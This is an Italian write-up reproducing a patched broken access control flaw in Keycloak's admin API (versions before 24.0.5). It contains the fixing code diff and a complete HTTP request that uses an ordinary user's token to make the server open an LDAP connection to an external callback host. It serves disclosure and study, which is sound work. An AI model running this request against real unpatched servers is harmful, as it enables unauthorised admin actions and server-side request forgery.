
L'API admin di Keycloak consente agli utenti con privilegi limitati di utilizzare funzioni amministrative.
Keycloak < 24.0.5 è vulnerabile alla vulnerabilità di Broken Access Control, dove un attaccante può utilizzare qualsiasi utente autenticato per eseguire alcune azioni API come:
Ho trovato interessante solo testLDAPConnection, dove un attaccante può interagire con LDAP verso un host esterno.
prima scarica la versione vulnerabile di Keycloak 24.0.4 da qui https://www.keycloak.org/archive/downloads-24.0.4.html
poi estrai il file Zip ed esegui il comando bin/kc.sh start-dev

Ora lo eseguirai su localhost:8080, crea un nuovo account amministratore e accedi con questo account amministratore
ora crea un nuovo Realm per gli utenti normali, poi crea un utente con privilegi utente in questo realm

Sulla base del commit che corregge la vulnerabilità "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
scopriamo che ci sono 3 file che sono stati modificati:
TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java
Analizzando la modifica del codice in TestLdapConnectionResource.java:
(Codice vulnerabile):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
Non c'era nessun controllo dei permessi. Qualsiasi utente autenticato poteva chiamare testLDAPConnection ed eseguire test LDAP, che è un'azione amministrativa.
(Codice corretto):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Added permission check
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}

La riga auth.realm().requireManageRealm(); è stata aggiunta per verificare se l'utente ha i permessi di amministratore (ruolo manage_realm) nel realm.
Ciò significa che qualsiasi utente con qualsiasi realm può inviare una richiesta a /admin/realms/users/testLDAPConnection
Ora, in un nuovo browser, apri il link http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
Accedi con l'utente che hai creato, poi cerca con grep l'authorization: Bearer <>
invia una richiesta HTTP all'endpoint vulnerabile:
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
nel parametro connectionUrl inserisci il tuo host esterno e invia la richiesta,
poi riceverai l'interazione DNS

puoi applicare la stessa cosa con getUnmanagedAttributes e getProviders.
riferimento: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc